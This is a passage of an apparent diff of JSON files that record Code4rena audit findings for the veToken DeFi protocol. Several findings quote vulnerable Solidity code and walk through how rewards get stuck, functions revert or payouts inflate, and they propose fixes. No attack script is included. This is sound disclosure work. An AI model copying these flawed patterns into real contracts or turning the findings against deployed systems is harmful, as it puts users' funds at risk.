[https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/ExtraRewardStashV3.sol#L61](https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/ExtraRewardStashV3.sol#L61) ```solidity //try claiming if there are reward tokens registered function claimRewards() external returns (bool) { require(msg.sender == operator, \"!authorized\"); //this is updateable from v2 gauges now so must check each time. checkForNewRewardTokens(); //make sure we're redirected if (!hasRedirected) { IDeposit(operator).setGaugeRedirect(pid); hasRedirected = true; } uint256 length = tokenCount; if (length > 0) { //claim rewards on gauge for staker //using reward_receiver so all rewards will be moved to this stash IDeposit(operator).claimRewards(pid, gauge); } return true; } ``` ## Impact User's gauge rewards are frozen/stuck in `VoterProxy` contract. Additionally, there is no method to sweep/collect the reward tokens stuck in the `VoterProxy` contract. ## Recommended Mitigation Steps > Note: I do not see `Booster.setGaugeRedirect` being called in the deployment and testing scripts. Thus, it is fair to assume that the team is not aware of the need to trigger `Booster.setGaugeRedirect` during deployment. If the gauge redirection has been set to the stash contract `ExtraRewardStashV3` right from the start before anyone triggered the `earmarkRewards` function, this issue should not occur. Consider triggering `Booster.setGaugeRedirect` during the deployment to set gauge redirection to stash contract (`ExtraRewardStashV3`) so that the Angle's gauge rewards will not be redirected to `VoterProxy` contract and get stuck there. Alternatively, update the `Booster._earmarkRewards` to as follows: ```solidity //claim veAsset and extra rewards and disperse to reward contracts function _earmarkRewards(uint256 _pid) internal { PoolInfo storage pool = poolInfo[_pid]; require(pool.shutdown == false, \"pool is closed\"); address stash = pool.stash; if (escrowModle == IVoteEscrow.EscrowModle.ANGLE) { //claims gauges rewards IStash(stash).claimRewards(); //process gauges rewards IStash(stash).processStash(); } else { //claim veAsset IStaker(staker).claimVeAsset(gauge); //check if there are extra rewards address stash = pool.stash; if (stash != address(0)) { //claim extra rewards IStash(stash).claimRewards(); //process extra rewards IStash(stash).processStash(); } } //veAsset balance uint256 veAssetBal = IERC20(veAsset).balanceOf(address(this)); ..SNIP.. } ``` There is no need to specifically call `VoterProxy.claimVeAsset` to fetch ANGLE for Angle Protocol because calling `IStash(stash).claimRewards()` will fetch both ANGLE and other reward tokens from the gauge anyway. When the stash contract receives the ANGLE tokens, it will automatically transfer all of them back to `Booster` contract when `IStash(stash).processStash()` is executed. The `IStash(stash).claimRewards()` function also performs a sanity check to ensure that the gauge redirection is pointing to itself before claiming the gauge rewards, and automatically configure them if it is not, so it will not cause the reward tokens to get stuck in `VoterProxy` contract. - Curve uses an older version of LiquidityGauge contract. Thus, two calls are needed (`Minter.mint` to claim CRV and `LiquidityGauge.claim_rewards` to claim other rewards). - Angle uses newer version of LiquidityGauge (V4) contract that just need one function call (`LiquidityGauge.claim_rewards` ) to fetch both veAsset and other rewards. - IDLE uses LiquidityGauge (V3) contract. veAsset (IDLE) is minted by calling `DistributorProxy.distribute` and gauge rewards are claimed by calling `LiquidityGauge.claim_rewards`. Due to the discrepancies between different protocols in the reward claiming process, additional care must be taken to ensure that the flow of veAsset and gauge rewards are transferred to the appropriate contracts during integration. Otherwise, rewards will be stuck. Lastly, I only see test cases written for claiming veAsset from the gauge. For completeness, it is recommended to also write test cases for claiming extra rewards from the gauge apart from veAsset. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/208", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "uint256 unlockInWeeks = (unlockAt / WEEK) * WEEK; is in seconds instead of weeks", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/207", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "uint256 unlockInWeeks = (unlockAt / WEEK) * WEEK; is in seconds instead of weeks"}, {"title": "Unable To Get Rewards If Admin Withdraws $VE3D tokens From `VeTokenMinter` Contract", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/202", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-vetoken-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VeTokenMinter.sol#L48 # Vulnerability details ## Vulernability Details It was observed that users will not be able to get their rewards from the reward contract at certain point of time if admin withdraws $VE3D token from the `VeTokenMinter` contract. ## Proof-of-Concept Based on the deployment script, it was understood that at the start of the project deployment, 30 million $VE3D tokens will be pre-minted for the `VeTokenMinter` contract. Thus, the `veToken.balanceOf(VeTokenMinter.address)` will be 30 million $VE3D tokens after the deployment. [https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/migrations/2_deploy_basic_contracts.js#L18](https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/migrations/2_deploy_basic_contracts.js#L18) ```javascript // vetoken minter await deployer.deploy(VeTokenMinter, veTokenAddress); let vetokenMinter = await VeTokenMinter.deployed(); addContract(\"system\", \"vetokenMinter\", vetokenMinter.address); global.created = true; //mint vetoke to minter contract const vetoken = await VeToken.at(veTokenAddress); await vetoken.mint(vetokenMinter.address, web3.utils.toWei(\"30000000\"), { from: vetokenOperator }); addContract(\"system\", \"vetoken\", veTokenAddress); ``` In the `VeTokenMinter ` contract, there is a function called `VeTokenMinter.withdraw` that allows the admin to withdraw $VE3D tokens from the contract. Noted that this withdraw function only perform the transfer, but did not update any of the state variables (e.g. totalSupply, maxSupply) in the contract. [https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VeTokenMinter.sol#L77](https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VeTokenMinter.sol#L77) ```solidity function withdraw(address _destination, uint256 _amount) external onlyOwner { veToken.safeTransfer(_destination, _amount); emit Withdraw(_destination, _amount); } ``` Assuming that an admin withdrawed 29 million $VE3D tokens from the `VoteProxy` with the appropriate approval from the DAO or community for some valid purposes. The `veToken.balanceOf(VeTokenMinter.address)` will be 1 million $VE3D tokens after the withdrawal. At this point, notice that `veToken.balanceOf(VeTokenMinter.address)` is 1 million, while the `VeTokenMinter.maxSupply` constant is 30 million. Therefore, there exists a discrepency between the actual amount of $VE3D tokens (1 million) stored in the contact versus the max supply (30 million). This discrepency will cause an issue in the `VeTokenMinter.mint` function because the calculation of the amount of $VE3D tokens to be transferred is based on the fact that 30 million $VE3D tokens is always sitting in the `VeTokenMinter` contract, and thus there is always sufficient $VE3D tokens available in the `VeTokenMinter` contract to send to its users. The `uint256 amtTillMax = maxSupply.sub(supply);` code shows that the calculation is based on `maxSupply` constant, which is 30 million. Assume that `mint(0x001, 10 million)` is called, and the value of the state variables when stepping through this function are as follows: - `maxSupply` constant = 30 million - `veToken.balanceOf(VeTokenMinter.address)` = 1 million - `supply` & `totalSupply` = 20 million - `totalCliffs` = 1000 - `reductionPerCliff ` = 30,000 (maxSupply / totalCliffs) - `cliff` = 666 (supply/reductionPerCliff) - `reduction` = 1000 - 666 = 334 - `_amount` = 10 million * (334/1000) = 3.340 million - `amtTillMax` = 10 million (maxSupply - supply) (Over here the contract assume that it still has 10 million VE3D tokens more to reach the max supply) - `(_amount > amtTillMax)` = `False` (since \"3.340 million > 10 million\" = false ) - `veToken.safeTransfer(0x001, 3.340 million)` (This will revert. Insufficent balance) The `veToken.safeTransfer(0x001, 3.340 million` will fail and revert because `VeTokenMinter` contract does not hold sufficent amount of $VE3D tokens to transfer out.`veToken.balanceOf(VeTokenMinter.address)` = 1 million, while the contract was attempting to send out 3.340 million. [https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VeTokenMinter.sol#L48](https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VeTokenMinter.sol#L48) ```solidity function mint(address _to, uint256 _amount) external { require(operators.contains(_msgSender()), \"not an operator\"); uint256 supply = totalSupply; //use current supply to gauge cliff //this will cause a bit of overflow into the next cliff range //but should be within reasonable levels. //requires a max supply check though uint256 cliff = supply.div(reductionPerCliff); //mint if below total cliffs if (cliff < totalCliffs) { //for reduction% take inverse of current cliff uint256 reduction = totalCliffs.sub(cliff); //reduce _amount = _amount.mul(reduction).div(totalCliffs); //supply cap check uint256 amtTillMax = maxSupply.sub(supply); if (_amount > amtTillMax) { _amount = amtTillMax; } //mint veToken.safeTransfer(_to, _amount); totalSupply += _amount; } } ``` The failure/revert of `VeTokenMinter.mint` function will cascade up to `Booster.rewardClaimed`, and futher cascade up to `BaseRewardPool.getReward`. Thus, `BaseRewardPool.getReward` will stop working. As a result, the users will not be able to get any rewards from the reward contracts. This issue will affect all projects (Curve, Pickle, Ribbon, Idle, Angle, Balancer) because `VeTokenMinter ` contract is deployed once, and referenced by all the projects. Thus, the impact could be quite widespread if this occurs, and many users would be affected. [https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/Booster.sol#L598](https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/Booster.sol#L598) ```solidity function rewardClaimed( uint256 _pid, address _address, uint256 _amount ) external returns (bool) { address rewardContract = poolInfo[_pid].veAssetRewards; require(msg.sender == rewardContract || msg.sender == lockRewards, \"!auth\"); ITokenMinter veTokenMinter = ITokenMinter(minter); //calc the amount of veAssetEarned uint256 _veAssetEarned = _amount.mul(veTokenMinter.veAssetWeights(address(this))).div( veTokenMinter.totalWeight() ); //mint reward tokens ITokenMinter(minter).mint(_address, _veAssetEarned); return true; } ``` [https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/BaseRewardPool.sol#L267](https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/BaseRewardPool.sol#L267) ```solidity function getReward(address _account, bool _claimExtras) public updateReward(_account) returns (bool) { uint256 reward = earned(_account); if (reward > 0) { rewards[_account] = 0; rewardToken.safeTransfer(_account, reward); IDeposit(operator).rewardClaimed(pid, _account, reward); emit RewardPaid(_account, reward); } //also get rewards from linked rewards if (_claimExtras) { for (uint256 i = 0; i < extraRewards.length; i++) { IRewards(extraRewards[i]).getReward(_account); } } return true; } ``` ## Recommended Mitigation Steps Remove the `VeTokenMinter.withdraw` function if possible. Otherwise, update the internal accounting of `VeTokenMinter` contract during withdrawal so that the actual balance of the $VE3D tokens is taken into consideration within the `VeTokenMinter.mint`, and the contract will not attempt to transfer more tokens than what it has. On a side note, [Convex's Minter contract](https://github.com/convex-eth/platform/blob/main/contracts/contracts/Cvx.sol), will mint the `CRX` gov tokens to the users on the fly. See https://github.com/convex-eth/platform/blob/1f11027d429e454dacc4c959502687eaeffdb74a/contracts/contracts/Cvx.sol#L76. Thus, there will not be a case where there is not sufficient `CRV` tokens in the contract to send to it users. However, in VeToken Protocol, it attempts to transfer the portion of pre-minted $VE3D tokens (30 millions) to the users. See https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VeTokenMinter.sol#L72. Thus, it is possible that there is not enough $VE3D tokens to send to its users if the admin withdraw the pre-minted $VE3D tokens. "}, {"title": "BaseRewardPool's `rewardPerTokenStored` can be inflated and rewards can be stolen", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/201", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-05-vetoken-findings", "body": "BaseRewardPool's `rewardPerTokenStored` can be inflated and rewards can be stolen"}, {"title": "Serious Violation in Checks-Effects-Interactions pattern ", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/199", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-vetoken-findings", "body": "Serious Violation in Checks-Effects-Interactions pattern "}, {"title": "Functions will be frozen if setXXX to `address(0)`", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/193", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "Functions will be frozen if setXXX to `address(0)`"}, {"title": "Missing sane bounds on asset weights", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/192", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-vetoken-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VeTokenMinter.sol#L41-L46 # Vulnerability details ## Impact The admin may fat-finger a change, or be malicious, and have the weights be extreme - ranging from zero to `type(uint256).max`, which would cause the booster to pay out unexpected amounts ## Proof of Concept No bounds checks in the update function: ```solidity File: contracts/VeTokenMinter.sol #1 41 function updateveAssetWeight(address veAssetOperator, uint256 newWeight) external onlyOwner { 42 require(operators.contains(veAssetOperator), \"not an veAsset operator\"); 43 totalWeight -= veAssetWeights[veAssetOperator]; 44 veAssetWeights[veAssetOperator] = newWeight; 45 totalWeight += newWeight; 46 } ``` https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VeTokenMinter.sol#L41-L46 The value is used by the reward contract to determine how much to mint: ```solidity File: contracts/Booster.sol #2 598 function rewardClaimed( 599 uint256 _pid, 600 address _address, 601 uint256 _amount 602 ) external returns (bool) { 603 address rewardContract = poolInfo[_pid].veAssetRewards; 604 require(msg.sender == rewardContract || msg.sender == lockRewards, \"!auth\"); 605 ITokenMinter veTokenMinter = ITokenMinter(minter); 606 //calc the amount of veAssetEarned 607 uint256 _veAssetEarned = _amount.mul(veTokenMinter.veAssetWeights(address(this))).div( 608 veTokenMinter.totalWeight() 609 ); 610 //mint reward tokens 611 ITokenMinter(minter).mint(_address, _veAssetEarned); ``` https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/Booster.sol#L598-L611 Wrong values will lead to excessive inflation/deflation ## Tools Used Code inspection ## Recommended Mitigation Steps Have sane upper/lower limits on the values "}, {"title": "Consistently check account balance before and after transfers for Fee-On-Transfer discrepancies", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/190", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-vetoken-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/Booster.sol#L356 https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VE3DRewardPool.sol#L337 # Vulnerability details As arbitrary ERC20 tokens can be passed, the amount here should be calculated every time to take into consideration a possible fee-on-transfer or deflation. Also, it's a good practice for the future of the solution. Affected code: - File: Booster.sol ```solidity 345: function deposit( 346: uint256 _pid, 347: uint256 _amount, 348: bool _stake 349: ) public returns (bool) { ... 356: IERC20(lptoken).safeTransferFrom(msg.sender, staker, _amount); //@audit medium: not compatible with Fee On Transfer Tokens ... 372: ITokenMinter(token).mint(address(this), _amount); ... 374: IERC20(token).safeApprove(rewardContract, _amount); 375: IRewards(rewardContract).stakeFor(msg.sender, _amount); ... 378: ITokenMinter(token).mint(msg.sender, _amount); ... 381: emit Deposited(msg.sender, _pid, _amount); ... ``` - File: VE3DRewardPool.sol ```solidity 336: function donate(address _rewardToken, uint256 _amount) external { 337: IERC20(_rewardToken).safeTransferFrom(msg.sender, address(this), _amount); //@audit medium: not compatible with Fee On Transfer Tokens 338: rewardTokenInfo[_rewardToken].queuedRewards += _amount; 339: } ``` ## Recommended Mitigation Steps Use the balance before and after the transfer to calculate the received amount instead of assuming that it would be equal to the amount passed as a parameter. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/186", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/184", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/183", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/182", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/181", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/180", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/178", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/177", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/175", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/174", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/173", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "deposited staking tokens can be lost if rewards token info added by mistake in addReward() in VE3DRewardPool and there is no checking to ensure this would not happen (ve3Token for one reward was equal to stacking token)", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/172", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-05-vetoken-findings", "body": "deposited staking tokens can be lost if rewards token info added by mistake in addReward() in VE3DRewardPool and there is no checking to ensure this would not happen (ve3Token for one reward was equal to stacking token)"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/171", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/169", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Unused rewards(because of totalSupply()==0 for some period) will be locked forever in VE3DRewardPool and BaseRewardPool", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/168", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-05-vetoken-findings", "body": "Unused rewards(because of totalSupply()==0 for some period) will be locked forever in VE3DRewardPool and BaseRewardPool"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/167", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "`VE3DRewardPool` claim in loop depend on pausable token", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/166", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-vetoken-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VE3DRewardPool.sol#L296-L299 https://github.com/code-423n4/2022-05-vetoken/blob/1be2f03670e407908f175c08cf8cc0ce96c55baf/contracts/VeAssetDepositor.sol#L134-L152 # Vulnerability details Project veToken is supposed to be a generalized version of Convex for non-Curve token. There is only one contract for all rewards token in the platform. All ve3Token rewards are bundled together inside `ve3DLocker` and `ve3DRewardPool` in a loop. Instead of having its own unique contract like `VeAssetDepositer` or `VoterProxy` for each token. ## Impact If one token has pausable transfer, user cannot claim rewards or withdraw if they have multiple rewards include that pause token. Right now the project intends to support only 6 tokens, including Ribbon token which has [pausable transfer](https://etherscan.io/address/0x6123b0049f904d730db3c36a31167d9d4121fa6b#code#L810) controlled by Ribbon DAO. Normally, this would not be an issue in Convex where only a few pools would be affected by single coin. Since, veAsset are bundled together into single reward pool, it becomes a major problem. ## Proof of concept - Token like Ribbon pause token transfer by DAO due to an unfortunate event. - `VE3DRewardPool` try call `getReward()`, `VeAssetDepositor` [try deposit token from earned rewards](https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VE3DRewardPool.sol#L296-L299) does not work anymore because `IERC20.transfer` [is blocked](https://github.com/code-423n4/2022-05-vetoken/blob/1be2f03670e407908f175c08cf8cc0ce96c55baf/contracts/VeAssetDepositor.sol#L134-L152). This effectively reverts current function if user have this token reward > 0. ## Recommended mitigation step It would be a better practice if we had a second `getReward()` function that accepts an array of token that we would like to interact with. It saves gas and only requires some extra work on frontend website. Instead of current implementation, withdraw all token bundles together. "}, {"title": "in notifyRewardAmount() of VE3DRewardPool and BaseRewardPool some tokes will be locked and not distributed becasue of rounding error", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/165", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-05-vetoken-findings", "body": "in notifyRewardAmount() of VE3DRewardPool and BaseRewardPool some tokes will be locked and not distributed becasue of rounding error"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/163", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/162", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/159", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/158", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/153", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "`VE3DLocker.sol` Wrong implementation of inversely traverse for loops always reverts", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/150", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-vetoken-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VE3DLocker.sol#L305-L329 https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VE3DLocker.sol#L349-L373 https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VE3DLocker.sol#L376-L396 https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VE3DLocker.sol#L399-L415 # Vulnerability details ```solidity function totalSupplyAtEpoch(uint256 _epoch) external view returns (uint256 supply) { uint256 epochStart = uint256(epochs[_epoch].date).div(rewardsDuration).mul( rewardsDuration ); uint256 cutoffEpoch = epochStart.sub(lockDuration); //traverse inversely to make more current queries more gas efficient for (uint256 i = _epoch; i + 1 != 0; i--) { Epoch storage e = epochs[i]; if (uint256(e.date) <= cutoffEpoch) { break; } supply = supply.add(epochs[i].supply); } return supply; } ```` In `VE3DLocker.sol`, there are multiple instances in which an inversely traverse for loop is used \"to make more current queries more gas efficient\". For example: - `totalSupplyAtEpoch()` - `balanceAtEpochOf()` - `pendingLockAtEpochOf()` - `totalSupply()` The implementation of the inversely traverse for loop is inherited from Convex's original version: https://github.com/convex-eth/platform/blob/main/contracts/contracts/CvxLockerV2.sol#L333-L334 However, Convex's locker contract is using Solidity 0.6.12, in which the arithmetic operations will overflow/underflow without revert. As the solidity version used in the current implementation of `VE3DLocker.sol` is `0.8.7`, and there are some breaking changes in Solidity v0.8.0, including: > Arithmetic operations revert on underflow and overflow. Ref: https://docs.soliditylang.org/en/v0.8.7/080-breaking-changes.html#silent-changes-of-the-semantics Which makes the current implementation of inversely traverse for loops always reverts. More specifically: 1. `for (uint i = locks.length - 1; i + 1 != 0; i--) {` will revert when `locks.length == 0` at `locks.length - 1` due to underflow; 2. `for (uint256 i = _epoch; i + 1 != 0; i--) {` will loop until `i == 0` and reverts at `i--` due to underflow. As a result, all these functions will be malfunctioning and all the internal and external usage of these function will always revert. ### Recommendation Change `VE3DLocker.sol#L315` to: ```solidity for (uint256 i = locks.length; i > 0; i--) { uint256 lockEpoch = uint256(locks[i - 1].unlockTime).sub(lockDuration); //lock epoch must be less or equal to the epoch we're basing from. if (lockEpoch <= epochTime) { if (lockEpoch > cutoffEpoch) { amount = amount.add(locks[i - 1].amount); ``` Change `VE3DLocker.sol#L360` to: ```solidity for (uint256 i = locks.length; i > 0; i--) { uint256 lockEpoch = uint256(locks[i - 1].unlockTime).sub(lockDuration); //return the next epoch balance if (lockEpoch == nextEpoch) { return locks[i - 1].amount; } else if (lockEpoch < nextEpoch) { //no need to check anymore break; } ``` Change `VE3DLocker.sol#L387` to: ```solidity for (uint256 i = epochindex; i > 0; i--) { Epoch storage e = epochs[i - 1]; ``` Change `VE3DLocker.sol#L406` to: ```solidity for (uint256 i = _epoch + 1; i > 0; i--) { Epoch storage e = epochs[i - 1]; if (uint256(e.date) <= cutoffEpoch) { break; } supply = supply.add(e.supply); } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/148", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/147", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/146", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Incorrectly set ```_maxTime``` to be in line with the locking ```maxTime``` of each veToken could render the ```deposit``` of this contract to be unfunctional or even freeze assets inside the contract ", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/141", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-05-vetoken-findings", "body": "Incorrectly set ```_maxTime``` to be in line with the locking ```maxTime``` of each veToken could render the ```deposit``` of this contract to be unfunctional or even freeze assets inside the contract "}] \ No newline at end of file diff --git a/results/codearena_findings_14.json b/results/codearena_findings_14.json new file mode 100644 index 0000000..2760394 --- /dev/null +++ b/results/codearena_findings_14.json @@ -0,0 +1 @@ +[{"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/139", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/138", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "`VE3DRewardPool` and `VE3DLocker` adds to an unbounded array which may potentially lock all rewards in the contract", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/136", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-05-vetoken-findings", "body": "`VE3DRewardPool` and `VE3DLocker` adds to an unbounded array which may potentially lock all rewards in the contract"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/135", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/134", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/132", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/131", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/130", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/129", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/126", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, 